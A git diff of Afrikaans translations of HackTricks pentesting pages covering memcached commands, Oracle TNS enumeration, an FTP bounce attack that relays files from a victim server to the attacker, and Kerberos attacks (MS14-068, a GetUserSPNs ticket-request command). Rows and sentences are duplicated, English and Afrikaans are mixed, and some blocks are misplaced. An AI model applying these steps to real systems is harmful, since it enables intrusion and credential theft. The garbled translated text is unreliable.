Die ondersteunde opdragte (die amptelike en sommige onamptelike) is gedokumenteer in die [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) dokument.
| Opdrag | Beskrywing | Voorbeeld |
Ongelukkig is die sintaksis beskrywing nie regtig duidelik nie en 'n eenvoudige hulpopdrag wat die bestaande opdragte lys, sou baie beter wees. Hier is 'n oorsig van die opdragte wat jy in die [bron](https://github.com/memcached/memcached) kan vind (soos van 19.08.2016):
| Command | Description | Example |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Lees 'n waarde | `get mykey` |
| set | Stel 'n sleutel onvoorwaardelik in | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Maak seker om \r\n as lynafbrekings te gebruik wanneer jy Unix CLI-gereedskap gebruik. Byvoorbeeld&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Voeg 'n nuwe sleutel by | `add newkey 0 60 5` |
| replace | Oorskryf bestaande sleutel | `replace key 0 60 5` |
| append | Voeg data by bestaande sleutel | `append key 0 60 15` |
| prepend | Voeg data voor bestaande sleutel toe | `prepend key 0 60 15` |
| get | Lees 'n waarde | `get mykey` |
| set | Stel 'n sleutel onvoorwaardelik | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Maak seker om \r\n as lynbreuke te gebruik wanneer jy Unix CLI gereedskap gebruik. Byvoorbeeld&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Voeg 'n nuwe sleutel by | `add newkey 0 60 5` |
| replace | Oorskryf bestaande sleutel | `replace key 0 60 5` |
| append | Voeg data by bestaande sleutel | `append key 0 60 15` |
| prepend | Voeg data voor bestaande sleutel | `prepend key 0 60 15` |
| incr | Verhoog numeriese sleutelwaarde met 'n gegewe getal | `incr mykey 2` |
| decr | Verminder numeriese sleutelwaarde met 'n gegewe getal | `decr mykey 5` |
| delete | Verwyder 'n bestaande sleutel | `delete mykey` |
| flush\_all | Maak onmiddellik alle items ongeldig | `flush_all` |
| flush\_all | Maak alle items ongeldig binne n sekondes | `flush_all 900` |
| stats | Druk algemene statistieke uit | `stats` |
| | Druk geheue statistieke uit | `stats slabs` |
| | Druk hoër vlak toekenningsstatistieke uit | `stats malloc` |
| | Druk inligting oor items uit | `stats items` |
| delete | Verwyder 'n bestaande sleutel | `delete mykey` |
| flush\_all | Maak alle items onmiddellik ongeldig | `flush_all` |
| flush\_all | Maak alle items in n sekondes ongeldig | `flush_all 900` |
| stats | Druk algemene statistieke | `stats` |
| | Druk geheue statistieke | `stats slabs` |
| | Druk hoër vlak toewysing statistieke | `stats malloc` |
| | Druk inligting oor items | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Herstel statistiek tellers | `stats reset` |
| lru\_crawler metadump | Stort (meeste van) die metadata vir (al) die items in die cache | `lru_crawler metadump all` |
| version | Druk bedienerweergawe uit | `version` |
| | Reset statistiek tellers | `stats reset` |
| lru\_crawler metadump | Dump (meeste van) die metadata vir (alle) die items in die cache | `lru_crawler metadump all` |
| version | Druk bediener weergawe. | `version` |
| verbosity | Verhoog logvlak | `verbosity` |
| quit | Beëindig sessie | `quit` |
| quit | Beëindig sessie | `quit` |
#### Verkeersstatistieke <a href="#traffic-statistics" id="traffic-statistics"></a>
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
Jy kan die huidige verkeersstatistieke navraag doen met die opdrag
Jy kan die huidige verkeersstatistieke opvra met die opdrag
```
stats
```
Jy sal 'n lys kry wat die aantal verbindinge, bytes in/uit en baie meer diens.
U sal 'n lys ontvang wat die aantal verbindings, bytes in/uit en nog baie meer dien.
Voorbeeld Uitset:
```
@ -86,10 +88,48 @@ STAT threads 1
END
```
#### Geheue Statistieke <a href="#memory-statistics" id="memory-statistics"></a>
Jy kan die huidige geheue statistieke opvra met
```
stats slabs
```
Voorbeeld Uitset:
```markdown
# Memcache Commands
Memcached is a high-performance, distributed memory object caching system. It is used to speed up dynamic web applications by alleviating database load.
## Basic Commands
### set
Stel 'n waarde in vir 'n sleutel.
### get
Kry die waarde van 'n sleutel.
### delete
Verwyder 'n sleutel en sy waarde.
## Advanced Commands
### incr
Verhoog die waarde van 'n sleutel met 'n spesifieke bedrag.
### decr
Verlaag die waarde van 'n sleutel met 'n spesifieke bedrag.
### flush_all
Maak alle sleutels en waardes skoon.
## Conclusion
Memcached is 'n nuttige hulpmiddel vir die verbetering van webtoepassings se prestasie deur die vermindering van databasislas.
```
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -110,18 +150,17 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Indien jy onseker is of jy genoeg geheue vir jou memcached instansie het, moet jy altyd uitkyk vir die "verdrijwings" tellers wat deur die "stats" bevel verskaf word. As jy genoeg geheue vir die instansie het, behoort die "verdrijwings" teller 0 te wees of ten minste nie te verhoog nie.
As jy onseker is of jy genoeg geheue het vir jou memcached instansie, kyk altyd na die “evictions” tellers wat deur die “stats” opdrag gegee word. As jy genoeg geheue vir die instansie het, behoort die “evictions” teller 0 te wees of ten minste nie te styg nie.
#### Watter Sleutels Word Gebruik? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
Daar is geen ingeboude funksie om direk die huidige stel sleutels te bepaal nie. Jy kan egter die
Daar is geen ingeboude funksie om direk die huidige stel sleutels te bepaal nie. Maar jy kan die
```
stats items
```
### Command to determine how many keys do exist
#### Afrikaans Translation:
### Opdrag om te bepaal hoeveel sleutels daar bestaan.
```markdown
opdrag om te bepaal hoeveel sleutels bestaan.
```
```
stats items
STAT items:1:number 220
@ -131,23 +170,24 @@ STAT items:2:age 1405
[...]
END
```
Hierdie help ten minste om te sien of enige sleutels gebruik word. Om die sleutelname uit 'n PHP-skrip te dump wat reeds die memcache-toegang doen, kan jy die PHP-kode van [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) gebruik.
Dit help ten minste om te sien of enige sleutels gebruik word. Om die sleutelname uit 'n PHP-skrip wat reeds die memcache-toegang doen, te dump, kan jy die PHP-kode van [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) gebruik.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 1521,1522-1529 - Pentesting Oracle TNS Luisteraar
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
Oracle-databasis (Oracle DB) is 'n relasionele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Wanneer jy Oracle ondersoek, is die eerste stap om met die TNS-luisteraar te praat wat gewoonlik op die verstekpoort (1521/TCP) is (jy kan ook sekondêre luisteraars op 1522-1529 kry).
Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wat gewoonlik op die standaardpoort (1521/TCP, -jy mag ook sekondêre listeners op 15221529 kry-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Opsomming
## Samevat
1. **Weergawe-opsomming**: Identifiseer weergaweinligting om na bekende kwesbaarhede te soek.
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie tot stand te bring.
3. **SID Naam Opsomming/Bruteforce**: Ontdek databasisname (SID).
4. **Legitimasie Bruteforce**: Probeer toegang verkry tot ontdekte SID.
5. **Kode-uitvoering**: Probeer kode op die stelsel uitvoer.
1. **Weergawe Enumerasie**: Identifiseer weergawe-inligting om vir bekende kwesbaarhede te soek.
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
5. **Kode Uitvoering**: Probeer om kode op die stelsel uit te voer.
Om die MSF-orakelmodules te gebruik, moet u sekere afhanklikhede installeer: [**Installasie**](oracle-pentesting-requirements-installation.md)
In orde om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](oracle-pentesting-requirements-installation.md)
## Plasings
## Pligte
Kyk na hierdie plasings:
Kyk na hierdie pligte:
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
@ -70,16 +71,17 @@ Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Hervat
# Samevatting
As jy toegang het tot 'n stuiterende FTP-bediener, kan jy dit laat versoek om lêers van 'n ander FTP-bediener (waarvan jy sekere geloofsbriewe ken) te vra en daardie lêer na jou eie bediener te laai.
As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek lêers van ander FTP bediener \(waar jy van sommige akrediteerbare inligting weet\) en daardie lêer na jou eie bediener aflaai.
## Vereistes
- Geldige FTP-geloofsbriewe in die FTP Middelbediener
- Geldige FTP-geloofsbriewe in die slagoffer FTP-bediener
- Beide bedieners aanvaar die PORT-opdrag (stuiterende FTP-aanval)
- Jy kan binne 'n gids van die FRP Middelbediener skryf
- Die middelbediener sal meer toegang tot die slagoffer FTP-bediener hê as jy om een of ander rede (dit is wat jy gaan uitbuit)
- Geldige FTP akrediteerbare inligting in die FTP Middel bediener
- Geldige FTP akrediteerbare inligting in die Slachtoffer FTP bediener
- Beide bedieners aanvaar die PORT opdrag \(bounce FTP aanval\)
- Jy kan binne 'n gids van die FRP Middel bediener skryf
- Die middel bediener sal meer toegang hê binne die Slachtoffer FTP Bediener as jy om een of ander rede \(dit is wat jy gaan benut\)
## Stappe
1. Maak verbinding met jou eie FTP-bediener en maak die verbinding passief (pasv-opdrag) sodat dit in 'n gids luister waar die slagofferdiens die lêer sal stuur
2. Maak die lêer wat die FTP Middelbediener na die Slagofferbediener gaan stuur (die uitbuiting). Hierdie lêer sal 'n eenvoudige teks wees van die nodige opdragte om teen die Slagofferbediener te verifieer, die gids te verander en 'n lêer na jou eie bediener te laai.
3. Maak verbinding met die FTP Middelbediener en laai die vorige lêer op
4. Laat die FTP Middelbediener 'n verbinding met die slagofferbediener tot stand bring en stuur die uitbuitingslêer
5. Vang die lêer op jou eie FTP-bediener
6. Verwyder die uitbuitingslêer van die FTP Middelbediener
1. Verbinde met jou eie FTP bediener en maak die verbinding passief \(pasv opdrag\) om dit te laat luister in 'n gids waar die slagoffer diens die lêer sal stuur
2. Maak die lêer wat die FTP Middel bediener na die Slachtoffer bediener gaan stuur \(die uitbuiting\). Hierdie lêer sal 'n platte teks wees van die nodige opdragte om teen die Slachtoffer bediener te autentiseer, die gids te verander en 'n lêer na jou eie bediener af te laai.
3. Verbinde met die FTP Middel Bediener en laai die vorige lêer op
4. Laat die FTP Middel bediener 'n verbinding met die slagoffer bediener tot stand bring en die uitbuitingslêer stuur
5. Vang die lêer in jou eie FTP bediener
6. Verwyder die uitbuitingslêer van die FTP Middel bediener
Vir meer gedetailleerde inligting, kyk na die pos: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 88tcp/udp - Pentesting Kerberos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
## Basic Information
**Kerberos** werk op 'n beginsel waar dit gebruikers outomaties verifieer sonder om hul toegang tot hulpbronne direk te bestuur. Dit is 'n belangrike onderskeid omdat dit die rol van die protokol in sekuriteitsraamwerke beklemtoon.
**Kerberos** werk op 'n beginsel waar dit gebruikers autentiseer sonder om hul toegang tot hulpbronne direk te bestuur. Dit is 'n belangrike onderskeid omdat dit die protokol se rol in sekuriteitsraamwerke beklemtoon.
In omgewings soos **Active Directory**, is **Kerberos** instrumenteel om die identiteit van gebruikers te vestig deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkbronne interaksie hê. **Kerberos** strek egter nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke bronne of dienste het, te evalueer of af te dwing nie. Dit bied eerder 'n veilige manier om gebruikers te verifieer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
In omgewings soos **Active Directory** is **Kerberos** instrumenteel in die vestiging van die identiteit van gebruikers deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkhulpbronne interaksie het. egter, **Kerberos** brei nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het, te evalueer of af te dwing nie. In plaas daarvan bied dit 'n veilige manier om gebruikers te autentiseer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
Na verifikasie deur **Kerberos**, word die besluitnemingsproses oor toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp maak 'n skeiding van belange moontlik tussen die verifikasie van die identiteit van gebruikers en die bestuur van hul toegangsregte, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp stel 'n skeiding van bekommernisse tussen die autentisering van die identiteit van gebruikers en die bestuur van hul toegangregte in staat, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
**Verstekpoort:** 88/tcp/udp
**Default Port:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
@ -37,11 +38,11 @@ PORT STATE SERVICE
### MS14-068
Die MS14-068 fout maak dit vir 'n aanvaller moontlik om 'n legitieme gebruiker se Kerberos aanmeldingstoken te manipuleer om valse verhewe regte te eis, soos om 'n Domein Admin te wees. Hierdie valse eis word per abuis deur die Domeinbeheerder gevalideer, wat ongemagtigde toegang tot netwerkbronne regoor die Active Directory-woud moontlik maak.
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder geverifieer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
{% embed url="https://adsecurity.org/?p=541" %}
Ander aanvalle: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Ander exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Outomatiese Opdragte
```
@ -73,16 +74,17 @@ Name: With Creds
Description: Attempt to get a list of user service principal names
Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
